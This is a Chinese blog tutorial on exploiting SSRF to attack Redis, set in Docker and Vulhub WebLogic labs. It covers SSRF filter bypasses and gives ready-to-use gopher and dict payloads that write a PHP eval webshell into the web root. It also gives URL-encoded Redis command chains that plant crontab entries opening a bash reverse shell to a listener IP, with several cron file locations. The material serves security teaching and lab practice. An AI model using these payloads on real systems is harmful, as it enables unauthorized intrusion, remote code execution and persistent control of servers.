SSRF中Redis的利用

最新推荐文章于 2024-04-25 09:58:49 发布
最新推荐文章于 2024-04-25 09:58:49 发布
阅读量1.1k 收藏 23
点赞数 17
文章标签： ssrf redis
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_80127209/article/details/135772773
版权

本文由掌控安全学院 - Track-劲夫 投稿

1. SSRF

1.1 什么是SSRF

 SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(因为请求是由服务端帮我们发起的，所以我们可以通过它来向其所在的内网机器发起请求)。

1.2 漏洞成因

 SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造,SSRF利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

1.3 可能会存在SSRF的地方

> 转码服务

> 在线翻译

> 获取超链接的标题等内容进行显示

> 请求远程服务器资源的地方，图片加载与下载(通过URL地址加载或下载图片)

> 图片、文章收藏功能

> 对外发起网络请求的地方，网站采集、网页抓取的地方。

> 一切要你输入网址的地方和可以输入ip的地方。

> 数据库内置功能(mongodb的copyDatabase函数)

> 从URL关键字中寻找：share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

1.4 SSRF分类

 我觉得就分为回显和不回显两种方式,会回显请求的响应内容那么最好不过,如果不会回显的话，那么一般就只能通过响应时间来判断了

1.5 验证方法

 如果是会回显信息的SSRF漏洞，那么看他的响应结果就好了，如果是不会回显的，那么我们可以利用DNSLOG来进行判断

1.6 利用方式

  1. 对外网或服务器所在的内网或服务器自身发起端口扫描

  2. 攻击运行在内网或本地的应用程序

  3. 利用file协议读取本地文件

  4. ……..

1.7 可以利用的协议

  1. http/https,发起HTTP请求

  2. file,如果会回显数据的话，那么我们可以使用file协议读取目标本地文件

  3. dict,可以用来探测目标端口

  4. gopher,可以发送get/post请求

  5. ftp,文件传输协议

  6. …..

1.8 SSRF过滤绕过

  1. 0.0.0.0,这个IP地址可以直接访问到本地

  2. 把IP地址的格式进行转换从而绕过

通常我们用的是127.0.0.1,但事实上127这个段的地址都用来表示本机地址了，所以像127.155.155.155这样的也是可以的，还可以进行进制转换也是可以的



> 8进制(把127转为八进制写的时候前面加个0):0177.0.0.1

> 16进制(把127转为十六进制写的时候前面加个0x):0x7f.0.0.1

> 16进制整数格式:0X7F000001

> 10进制证书格式(把16整数转为10进制):2130706433



上面这些都是可以访问到的

  1. localhost

  2. 利用@绕过例如,www.baidu.com@127.0.0.1

  3. 利用非HTTP协议，例如上面说到的gopher或者dict

  4. 利用DNS解析(可以用DNSLOG)

  5. 利用IPv6

  6. 添加端口号

  7. [::]代替127.0.01,比如http://[::]:80,这样也是可以访问到的

2. SSRF攻击Redis

2.1 环境搭建

使用Docker进行环境的搭建,需要的文件我已经打包好了，如果没有docker环境的话需要安装(请使用linux系统)

  1. 使用tar xzvf ssrf.tar.gz解压ssrf.tar.gz,

  2. cd ssrf_dockerfile,进入到解压的文件目录下

  3. 构建镜像,docker build -t ssrf:v1 .

    图片

  4. Successfully built说明构建成功，也可以再使用docker images命令查看镜像是否存在

    图片

  5. docker run -d -p 80:80 ssrf:v1,启动镜像

    图片

  6. 启动成功，访问127.0.0.1查看是否搭建成功

    图片

  7. 漏洞点为ssrf.php，参数名为url，测试一下是否存在漏洞

    图片

环境搭建完毕

2.2 漏洞复现(通过ssrf利用redis写入webshell)

2.2.1 想要写入webshell的两个条件

  1. 要知道网站的绝对路径

  2. redis有目录的写入权限

2.2.2 通过gopherus实现

这里是通过gopher协议进行利用

0x00 Gopherus(gopher协议利用工具)
Gopherus简介

Gopherus下载地址

自己手动把攻击语句转换成Gopher协议的格式会很麻烦，这款工具里面内置了一些早就写好的利用语句，我们只需要学会如何使用它就可以很方便的写出一些我们需要的利用语句。

Gopherus可以生成的payload

  1. MySQL (Port-3306)

  2. PostgreSQL(Port-5432)

  3. FastCGI (Port-9000)

  4. Memcached (Port-11211)
    If stored data is getting De-serialized by:

    • Python

    • Ruby

    • PHP

  5. Redis (Port-6379)

  6. Zabbix (Port-10050)

  7. SMTP (Port-25)

命令
gopherus --exploit [mysql | postgresql | fastcgi | redis | smtp | zabbix | pymemcache | rbmemcache | phpmemcache | dmpmemcache]

exploit后面写要利用的服务就好了

实际演示

这里将使用Gopherus这个工具生成利用语句,不了解的小伙伴可以先去看一下Gopherus那一段

  1. 再phpinfo页面中我们可以看到站点的绝对路径为/var/www/html

    图片

  2. 启动gopherus，python gopherus.py --exploit redis,shell写入方式选择phpshell

    图片

  3. 然后填入绝对路径，这里刚好是默认的，回车就好

    图片

  4. 然后填写要写入的内容,我这里写的一句话木马

    图片

  5. 生成好了,如果执行成功他会再目录下生成shell.php这个文件

    图片

  6. 现在这个语句还不能马上拿去用，需要做一下处理gopher://127.0.0.1:6379/_这部分不用变，后面的复制,再拿去进行一次url编码,然后拼接回gopher://127.0.0.1:6379/_后面，我处理好的如下

    1. gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_REQUEST%255B8%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

  7. 然后传参给url参数,回车

    图片

  8. shell写入成功

    图片

2.2.3 通过Dict协议实现

Dict协议使用注意事项

  1. Dict协议中可以用:代替空格

  2. ?会截断后面的内容(写马的情况下要想办法bypass “?”)

  3. dict协议一次只能发送一条数据

实际演示

  1. dict://127.0.0.1:6379/flushall,先清空所有的key

    图片

  2. dict://127.0.0.1:6379/set:hack:'<script language="php">@eval($_REQUEST[8]);</script>',写入一句话木马到key中，这里最好进行一次url编码

    图片

  3. dict://127.0.0.1:6379/config:set:dir:/var/www/html/，设置工作目录

    图片

  4. dict://127.0.0.1:6379/config set dbfilename hack.php,设置持久化文件名为hack.php,这里把去掉了:用了空格，注意两者没有差别

    图片

  5. dict://127.0.0.1:6379/save,保存生成持久化文件

    图片

  6. 成功

    图片

再可以回显的情况下，其实也可以查看redis中的数据

图片

3. Weblogic SSRF漏洞(Redis利用)

3.1 环境搭建

3.1.1 Vulhub

这里用的是Vulhub中的环境来复现的,所以就简单说一下

简单来说Vulhub是一个漏洞复现的测试靶场它里面内置了许多的漏洞环境，并且提供了复现文档,如下图

图片


Vulhub下载地址
文档地址
怎么搭建和使用它也有帮助文档，百度上面也有很多相关的教程，这里就不多说了
这里要用的是它的weblogic SSRF漏洞的这个环境

图片

3.1.2 运行环境

  1. 进到vulhub中的/weblogic/ssrf/目录下

    图片

  2. 执行如下命令启动环境,docker-compose up -d,如果报错没有docker-compose这个命令的话，百度一下怎么安装

    图片

  3. 执行docker ps命令查看环境是否已经运行了,这里是已经运行起来了

    图片

  4. 环境搭建完毕，开干！！！ 

    图片

3.2 漏洞测试

3.2.1 内网扫描

这个漏洞点的位置在

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

点击search抓包，可以看到operator的参数值是一个链接

图片

那我们测试这里是否存在ssrf，把地址改成http://127.0.0.1:7001之后它的显示是这样的

图片

然后我们随便改成其他端口,可以发现保存的内容是不一样的，那么我们可以由此来判断端口是否存在

图片

把包发送到Intruder模块，进行端口枚举

图片

这里就设置1~10000的范围

图片

没有他探测到有其他端口开放

图片

尝试对内网进行扫描,我这里的docker环境内网地址应该是172.18这个段的,所以我就跑这个段了,设置好范围

图片

我这里用的是自定义迭代器的payload类型，第一个填172,分隔符为.

图片

第二个填18,分隔符为.

图片

第三个填0~255，分隔符为.

图片

第四个填0~255,注意没有分隔符

图片

开冲，可以看到如果地址不存在是返回No route to host

图片

而这个存在的显示内容如下,那么对他进行端口扫描

图片

检测到6379端口开放，这个的redis的默认端口,下面尝试是否可以进行利用

图片

3.2.2 通过redisGetshell

Weblogic的SSRF有一个比较大的特点，就是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。

这里我们利用crontab计划任务反弹shell,先用nc开启监听nc -lvp 9999

图片

然后编写redis名命令,命令中的IP地址和端口号记得改成自己的

aaa



set 1 "\n* * * * * bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n"

config set dir /var/spool/cron

config set dbfilename root

save



aaa

然后进行url编码，注意换行用%0d%0a替换

http://172.18.0.2:6379/aaa%0D%0A%0D%0Aset%201%20%22%5Cn*%20*%20*%20*%20*%20%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa

好了之后直接拼接到url后面然后Send

图片

成功获得shell

图片

注意点

  1. 计划任务可能会等一会才会执行，shell不会立马反弹,等个一分钟左右

  2. 一定要docker容器和主机可以通信,我因为nc的机器没关防火墙明明成功了，但是弹不回shell

3.2.3 crontab可以写入的位置

ect/crontab


TEST



set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save



BBB
TEST%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0ABBB

1./etc/cron.d/*

TEST



set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"

config set dir /etc/cron.d

config set dbfilename shell

save



BBB
TEST%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2Fcron.d%0D%0Aconfig%20set%20dbfilename%20shell%0D%0Asave%0D%0A%0D%0ABBB

  1. /var/spool/cron/root,复现过程中用的就是这个

  2. var/spool/cron/crontabs/root,debian系统下root用户的cron文件

申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。

 

免费领取安全学习资料包！


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等

应急响应笔记

学习路线

运维Z叔
关注
  • 17
    点赞
  • 踩
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ssrf dict MySQL_SSRF之利用dict和gopher吊打Redis
weixin_36064196的博客
02-22 514
SSRF之利用dict和gopher吊打Redis写在前面SSRF打Redis也是老生常谈的东西了，这里复现学习一下之前在xz看到某师傅写的关于SSRF利用dict和gopher打内网服务的文章，主要是对webshell和sshkey的写入进行复现，做一点小笔记。准备环境centos：有计划任务服务、redis4.x版本kali：作为攻击机，模拟vps物理机：phpstudy+ssrf.phpre...
SSRF_ex:SSRF漏洞测试、利用 SSRF vulnerability testing and utilization
05-08
SSRF_exSSRF漏洞测试、利用 SSRF vulnerability testing and utilizationSSRF[+] 服务端请求伪造，当作跳板攻击内网服务[+] 扫描内部网络、服务[+] 访问本机敏感文件[+] 向特定端口发送数据包、payload.├── ...
SSRF打Redis
weixin_44843084的博客
06-06 809
SSRF打Redis https://www.cnblogs.com/linuxsec/articles/11221756.html https://www.cnblogs.com/-chenxs/p/11749367.html 1.探测端口 http://xxx.xxx.xx.xx/xx/xx.php?url=http://目标:6379 如果探测到6379端口，那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务， 原理是利用他们以目标机的身份执行对开启redis服
Redis漏洞及搭配ssrf利用姿势
zkaqlaoniao的博客
04-25 654
这篇博客就总结到这里，下次把经典一点的SSRF题目都总结到一起再学习一波，冲冲冲！
SSRF攻击Redis
cosmoslin的博客
10-27 1330
Redis简介 Redis是数据库的意思。Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。 Redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set –有序集合)和hash（哈希类型）。这些数据类型都支持p
Weblogic - SSRF攻击内网redis服务漏洞
HAKUNAMATATATTA的博客
12-05 992
SSRF（Server-Side Request Forgery），服务端请求伪造，是一种由攻击者构造形成由服务端发起请求的一个漏洞，一般情况下，SSRF攻击的目标是从外部网络无法访问的内部系统。
ssrf+redis
qq_45213259的博客
11-30 3768
ssrf+redis 实验环境 靶机：ubuntu16.04 ip:192.168.211.130 在靶机中搭建lamp环境、安装redis、安装ssh 攻击机：kali2020 ip:192.168.211.134 在攻击机中安装redis vps:windows10(本机） ip:10.133.164.81 在windows中安装cn.exe 实验步骤 1.将ssrf.php文件放在web根目录下 ssrf.php: <?php $ch = curl_init(); curl_set
对 Redis 在 Windows 下利用方式思考1
08-04
前言上次写了一篇有关 SSRF 打 Redis 主从的文章，居然被人喷了！说我根本就没有复现过张嘴就来？我没有理会，然后又有朋友在群问， Redis 在 Win
redis安全学习小记1
08-03
在SSRF（Server-Side Request Forgery）攻击中，攻击者可能利用 `%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A`来绕过认证。 Redis支持多种数据类型，包括字符串、哈希、列表、集合和有序集合。这些数据...
SSRF Tricks小结1
08-03
本文将总结SSRF漏洞的一些常见利用技巧和在PHP环境中的具体表现。 首先，PHP中涉及SSRF漏洞的函数包括`file_get_contents()`、`fsockopen()`和`curl_exec()`。这些函数在处理外部资源时可能会引发SSRF： 1. `file_...
SSRF的那些问题1
08-03
在描述中提到，SSRF 往往被忽视，因为它的危害相对较小，且利用难度较高。然而，在某些情况下，SSRF 可能成为攻击者进入内部网络的重要途径，特别是在服务器上存在对外公开的服务以及对内开放的网站时。 SSRF 的...
SSRFmap：自动SSRF模糊处理和开发工具
02-04
SSRF通常用于利用对其他服务的操作，此框架旨在轻松查找和利用这些服务。 SSRFmap将Burp请求文件作为输入和fuzz的参数。 服务器端请求伪造或SSRF是一个漏洞，攻击者在其中迫使服务器代其执行请求。 概要 模组 以下...
CTF Web各种题目的解题姿势
07-27
课时3：SSRF中可以使用的协议分析17'44 课时4：Linux基础知识21'37 课时5：Redis未授权访问漏洞利用与防御16'17 课时6：Redis未授权添加ssh密钥f17'04 第5章 第五章 课时1：XXE-XML基础必备24'47 课时2：...
常考渗透测试面试题.docx
03-30
本文总结了渗透测试面试题中的知识点，涵盖了网络安全、漏洞原理、修复方案、工具使用、渗透测试思路、SQL 注入、XSS、CSRF、SSRF、反序列化漏洞、逻辑漏洞、越权访问、Java 和 PHP 框架安全等方面。 一、网络安全 ...
java版商城源码下载-tenbugsEveryday:只是为我
06-05
下载图片处,利用302跳转绕过限制,使用dict协议+phpinfo()页面中泄漏的内网地址和端口就可以通过页面加载时间探测端口,6379端口getshell 分享功能处,可以直接用http协议探测内网,也可以利用302跳转绕过对协议的限制，...
Discuz渗透总结1
08-03
在Discuz中，如果存在SSRF，攻击者可以通过构造特定URL，如利用302重定向，来尝试攻击内网的Redis或Memcache服务。例如，利用`http://2.2.2.2/302.php?s=gopher&ip=127.0.0.1&port=6379&data=1.png`来尝试控制数据...
利用SSRF攻击Redis
LUOBIKUN的博客
10-20 4353
SSRF漏洞+redis前置知识实验环境搭建SSRF攻击Redis通过redis写入ssh公钥，获取操作系统权限；直接向Web目录中写webshell；linux计划任务执行命令反弹shell。 前置知识 利用SSRF来攻击靶机的redis服务，需要涉及到的一些知识点： 1，Redis客户端和服务端通信过程，以及常用命令； 2，相关协议，例如dict://协议和gother协议的使用 dict://协议 词典网络协议，在RFC 2009中进行描述。它的目标是超越Webster protocol，并允许客户端
SSRF+Redis组合拳啊哒~
qq_43665434的博客
04-02 1478
SSRF+Redis组合拳 好雨知时节，当春乃发生。（就是有点冷） 实验环境 主机 角色 描述 centos8 受害服务器 运行redis数据库，且含有redis未授权访问漏洞 window10 跳板服务器 含有ssrf漏洞 kali 攻击者 利用ssrf+redis未授权访问获取centos8的shell 工具： Redis nc wireshark tcpdump Redis基础 1、序列化协议 客户端-服务端之间交互的是序列化后的协议数据。在Redis中，协议数据分为
ssrf与redis
最新发布
04-27
SSRF（Server-Side Request Forgery）是一种安全漏洞，它允许攻击者在服务器端发起网络请求，可能导致敏感信息泄露、服务端请求伪造等问题。而Redis是一种开源的内存数据库，它支持多种数据结构，如字符串、哈希、列表等，并提供了丰富的功能和命令。 SSRF攻击与Redis之间的关联在于，攻击者可以利用SSRF漏洞来发起针对Redis的攻击。具体来说，攻击者可以通过构造恶意请求，将Redis服务器的内部数据暴露给外部，或者通过修改Redis配置文件来实施攻击。 为了防止SSRF与Redis相关的攻击，可以采取以下措施： 1. 输入验证与过滤：对用户输入进行严格的验证和过滤，确保只允许合法的URL访问。 2. 白名单限制：限制服务器端可以访问的URL列表，只允许访问可信任的URL。 3. 限制协议与端口：限制服务器端只能访问特定的协议和端口，避免访问到不安全的服务。 4. 防火墙配置：在服务器上配置防火墙规则，限制对Redis服务的访问。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值